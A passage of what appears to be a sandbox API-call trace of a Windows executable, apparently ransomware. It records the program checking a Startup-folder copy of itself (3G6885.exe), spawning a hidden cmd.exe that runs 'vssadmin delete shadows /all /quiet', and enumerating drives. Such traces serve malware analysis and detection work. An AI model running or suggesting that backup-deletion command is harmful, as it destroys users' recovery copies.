Menu\\Programs\\Startup") returned 59 [0129.372] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0129.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x337d20 | out: hHeap=0x300000) returned 1 [0129.372] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe", lpDst=0x35ae90, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe") returned 0x48 [0129.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x36ae98 | out: hHeap=0x300000) returned 1 [0129.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ae90 | out: hHeap=0x300000) returned 1 [0129.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100000) returned 0x2100020 [0129.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.373] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x335aa0 [0129.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.373] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x335a50 [0129.373] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0129.373] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0129.373] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0129.373] lstrlenW (lpString="kernel32.dll") returned 12 [0129.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335aa0 | out: hHeap=0x300000) returned 1 [0129.373] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0129.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335a50 | out: hHeap=0x300000) returned 1 [0129.373] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0129.373] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.374] CloseHandle (hObject=0xe4) returned 1 [0129.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.374] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x335a50 [0129.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.374] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x335aa0 [0129.374] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0129.374] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0129.374] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0129.375] lstrlenW (lpString="kernel32.dll") returned 12 [0129.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335aa0 | out: hHeap=0x300000) returned 1 [0129.375] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0129.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335a50 | out: hHeap=0x300000) returned 1 [0129.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x300000) returned 1 [0129.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x33ae80 | out: hHeap=0x300000) returned 1 [0129.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x34ae88 | out: hHeap=0x300000) returned 1 [0129.375] lstrlenW (lpString="%windir%\\System32") returned 17 [0129.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x336b18 | out: hHeap=0x300000) returned 1 [0129.375] lstrlenW (lpString="%appdata%") returned 9 [0129.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x314508 | out: hHeap=0x300000) returned 1 [0129.375] lstrlenW (lpString="%sh(Startup)%") returned 13 [0129.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3144e0 | out: hHeap=0x300000) returned 1 [0129.375] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0129.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x336b60 | out: hHeap=0x300000) returned 1 [0129.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.375] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x3144e0 [0129.375] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3144e0, Size=0x40) returned 0x336b60 [0129.375] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336b60, Size=0x80) returned 0x37aeb8 [0129.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.375] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x3144e0 [0129.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1fffc) returned 0x33ae80 [0129.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x35ae88 [0129.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x36ae90 [0129.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.375] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x314508 [0129.376] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314508, Size=0x40) returned 0x336b60 [0129.376] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336b60, Size=0x80) returned 0x37af40 [0129.376] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37af40, Size=0x100) returned 0x337d20 [0129.376] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0129.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x337d20 | out: hHeap=0x300000) returned 1 [0129.376] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x35ae88, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0129.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x36ae90 | out: hHeap=0x300000) returned 1 [0129.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ae88 | out: hHeap=0x300000) returned 1 [0129.376] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0129.376] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0129.376] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0129.377] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0129.377] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x658, dwThreadId=0x65c)) returned 1 [0129.828] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0129.829] WriteFile (in: hFile=0xec, lpBuffer=0x37aeb8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x37aeb8*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0129.829] CloseHandle (hObject=0xfc) returned 1 [0129.829] CloseHandle (hObject=0xf8) returned 1 [0129.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x33ae80 | out: hHeap=0x300000) returned 1 [0129.829] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0129.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37aeb8 | out: hHeap=0x300000) returned 1 [0129.829] lstrlenW (lpString="%comspec%") returned 9 [0129.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3144e0 | out: hHeap=0x300000) returned 1 [0129.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0129.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x334bc8 [0129.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x334bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0129.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x314918 [0129.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x314918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0129.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334be0 [0129.831] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334be0, Size=0x20) returned 0x3144e0 [0129.831] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3144e0, Size=0x40) returned 0x336b60 [0129.831] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x337d98 [0129.832] GetLogicalDrives () returned 0x4 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10014) returned 0x33ae80 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334be0 [0129.832] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334be0, Size=0x20) returned 0x3144e0 [0129.832] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3144e0, Size=0x40) returned 0x336bf0 [0129.832] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336bf0, Size=0x80) returned 0x37aeb8 [0129.832] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37aeb8, Size=0x100) returned 0x339308 [0129.832] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x339308, Size=0x200) returned 0x339308 [0129.832] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x339308, Size=0x400) returned 0x339308 [0129.832] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x339308, Size=0x800) returned 0x37cea0 [0129.832] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37cea0, Size=0x1000) returned 0x37cea0 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x34aea0 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334be0 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x334cb8 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x3148c0 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x334cd0 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x3148d0 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334ce8 [0129.832] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3148d0, Size=0x8) returned 0x3148d0 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334d00 [0129.832] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3148d0, Size=0x10) returned 0x314888 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334d18 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334d30 [0129.832] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314888, Size=0x20) returned 0x337c20 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334d48 [0129.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x3148d0 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe) returned 0x334d60 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe) returned 0x334d78 [0129.833] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x337c20, Size=0x40) returned 0x335448 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe) returned 0x334d90 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe) returned 0x334da8 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe) returned 0x334dc0 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe) returned 0x334dd8 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334df0 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334e08 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x335490 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334e20 [0129.833] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335448, Size=0x80) returned 0x339308 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334e38 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334e50 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334e68 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334e80 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339938 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x339950 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339968 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x314888 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339980 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339998 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x3399b0 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x3399c8 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x3399e0 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x3399f8 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x339a10 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339a28 [0129.833] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x339308, Size=0x100) returned 0x339308 [0129.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339a40 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339a58 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339a70 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x339a88 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339aa0 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339ab8 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x314898 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339ad0 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339ae8 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339b00 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6) returned 0x337c20 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339b18 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339b30 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x337c30 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339b48 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339b60 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x339b78 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339b90 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339ba8 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339bc0 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe) returned 0x339bd8 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339bf0 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x339c08 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339c20 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339c38 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339c50 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339c68 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x337c40 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339c80 [0129.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339c98 [0129.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339cb0 [0129.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339cc8 [0129.835] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x339308, Size=0x200) returned 0x339308 [0129.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339ce0 [0129.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x335448 [0129.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x339cf8 [0129.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37dec0 [0129.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37ded8 [0129.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37def0 [0129.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37df08 [0129.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37df20 [0129.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37df38 [0129.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37df50 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37df68 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37df80 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37df98 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37dfb0 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37dfc8 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37dfe0 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37dff8 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e010 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37e028 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37e040 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e058 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e070 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e088 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x335458 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e0a0 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e0b8 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e0d0 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x335468 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e0e8 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37e100 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e118 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e130 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e148 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e160 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e178 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e190 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37e1a8 [0129.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37e1c0 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e1d8 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e1f0 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e208 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37e220 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e238 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e250 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e268 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e280 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e2c0 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e2d8 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e2f0 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x37e6c0 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6) returned 0x37e6d0 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e308 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e320 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e338 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e350 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e368 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37e380 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e398 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e3b0 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e3c8 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e3e0 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37e3f8 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e410 [0129.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e428 [0129.838] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x339308, Size=0x400) returned 0x339308 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e440 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e458 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37e470 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e488 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e4a0 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e4b8 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37e4d0 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e4e8 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e500 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e518 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x37e6e0 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e530 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x37e548 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e560 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x37e578 [0129.838] RtlAllocateHeap (HeapHandle=0x300000, 